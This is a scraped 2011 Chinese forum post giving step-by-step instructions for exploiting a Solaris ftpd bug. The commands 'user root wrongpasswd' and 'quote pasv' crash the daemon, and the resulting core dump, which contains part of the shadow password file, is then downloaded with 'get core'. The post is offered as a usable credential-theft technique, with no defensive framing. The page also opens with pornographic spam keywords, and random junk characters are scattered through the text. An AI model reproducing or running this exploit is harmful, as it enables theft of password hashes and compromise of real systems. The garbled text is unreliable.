国产十八禁AV网站,欧美日韩亚洲国产综合乱,亚洲国产aⅴ成人精品无吗,秋霞午夜福利影院合集





      

      汶上信息港
      
標(biāo)題: 如何用FIP獲取shadow口令文件 [打印本頁]
      

      
作者: 雜七雜八    時間: 2011-1-12 21:01
      
標(biāo)題: 如何用FIP獲取shadow口令文件
      該方法利用了Solaris 操作系統(tǒng)中FTPD的一個BUG，使得用戶可以獲得該機(jī)的口令文件。具體過程如下：; H4 J0 U9 W& z  x" ^$ [
      

      
3 x% |1 |2 `: ^+ H1.通過 ftp 正常登錄到目的主機(jī)上- s; Y- L) \) A
      
" S& [8 U% l, s0 C$ ?# v% v3 v) e
      
2.輸入如下命令序列：
      
3 d2 j- l5 {) u
      
' p- u" A0 l6 u, }4 `7 l4 M0 Lftp> user root wrongpasswd
      
" g& t# G8 j# x* v- O- H/ e; ?6 d$ c! ?, a+ m) h6 K! H
      
ftp> quote pasv
      
5 P" ?- O6 J/ r3 c
      
. @/ Z( a6 y% d+ h9 l4 U: x! u3.這時，ftpd會報錯退出，同時會在當(dāng)前目錄下生成一個core，口令文件就包含在這個core中。. o, I. X4 H- e
      

      
5 h: X& l3 S9 N6 n4.再次進(jìn)入FTP >get core9 Z+ w  D: {' ^7 e
      

      
4 k9 T% N: G. k. Z補(bǔ)充：雖然在core只有一部分shadow，但是對于系統(tǒng)來說已經(jīng)是致命的打擊了
      
! T2 w0 x# \3 X; ^# D  B7 P; }
      
- D1 W1 d$ }- R1 E4 K




      

      

      歡迎光臨 汶上信息港 (http://www.yh18.cn/)

Powered by Discuz! X3.5